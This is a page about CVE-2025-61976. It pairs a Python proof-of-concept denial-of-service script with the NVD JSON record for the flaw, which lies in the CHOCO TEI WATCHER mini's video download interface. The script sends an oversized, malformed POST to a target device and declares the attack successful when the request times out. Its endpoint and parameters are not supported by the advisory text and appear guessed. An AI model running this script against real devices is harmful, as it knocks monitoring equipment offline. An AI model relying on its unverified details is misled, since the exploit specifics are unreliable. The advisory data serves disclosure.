CVE-2025-61976

import requests # CVE-2025-61976 PoC - CHOCO TEI WATCHER mini DoS # Target: Video Download Interface target_ip = "192.168.1.100" # Replace with target device IP target_port = 80 def exploit_cve_2025_61976(): """ Send specially crafted request to video download interface to trigger denial of service condition """ # Construct malicious video download request # This exploits improper check for unusual conditions endpoint = f"http://{target_ip}:{target_port}/webapi/video/download" # Malformed parameters that trigger exception handling flaw payload = { 'video_id': 'A' * 10000, # Large input causing buffer/resource issue 'format': 'invalid', # Invalid format parameter 'action': 'download', 'timestamp': '9999999999' } headers = { 'User-Agent': 'CVE-2025-61976-PoC', 'Content-Type': 'application/x-www-form-urlencoded', 'Accept': '*/*' } try: print(f"[*] Sending malicious request to {endpoint}...") response = requests.post(endpoint, data=payload, headers=headers, timeout=5) print(f"[*] Response Status: {response.status_code}") print(f"[*] Response: {response.text[:200]}") except requests.exceptions.Timeout: print("[+] Target appears to be unresponsive - DoS successful") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": exploit_cve_2025_61976()

{"cve": {"id": "CVE-2025-61976", "sourceIdentifier": "[email protected]", "published": "2025-12-16T05:16:13.310", "lastModified": "2025-12-23T21:46:32.877", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "CHOCO TEI WATCHER mini (IB-MCT001) contains an issue with improper check for unusual or exceptional conditions. If a remote attacker sends a specially crafted request to the Video Download interface, the system may become unresponsive."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV30": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.0", "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-754"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:inaba:ib-mct001_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "E4D0CBD2-40BA-499A-989F-4CA133E0294F"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:inaba:ib-mct001:-:*:*:*:*:*:*:*", "matchCriteriaId": "6DF4FF0F-BA64-498E-ABD5-951AEF9A9627"}]}]}], "references": [{"url": "https://jvn.jp/en/vu/JVNVU92827367/", "source": "[email protected]", "tags": ["Third Party Advisory"]}, {"url": "https://www.inaba.co.jp/files/chocomini_vulnerability_newly_identified.pdf", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}